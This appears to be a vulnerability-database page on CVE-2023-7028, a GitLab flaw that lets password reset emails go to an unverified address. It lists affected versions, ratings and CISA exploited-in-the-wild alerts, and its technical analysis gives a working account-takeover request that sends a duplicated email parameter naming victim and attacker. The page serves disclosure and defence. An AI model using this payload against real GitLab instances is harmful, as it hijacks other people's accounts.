Very High
CVE-2023-7028
CVE ID
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CVE-2023-7028
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.
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Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Tested on Gitlab CE 16.6.1. Very effective and easy to exploit. In the following payload the brackets MUST be URL encoded, else it won’t work: user[email][]=victim@example.org&user[email][]=attacker@example.org
.
POST /users/password HTTP/2 Host: gitlab.example.org ... authenticity_token=<auto_generated_token>&user%5Bemail%5D%5B%5D=victim%40example.org&user%5Bemail%5D%5B%5D=attacker%40example.org
Note that you must know the email address and not the login name.
See here for vulnerable and patched versions.
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General Information
Vendors
- gitlab
Products
- gitlab
Exploited in the Wild
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/05/01/cisa-adds-one-known-exploited-vulnerability-catalog)
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Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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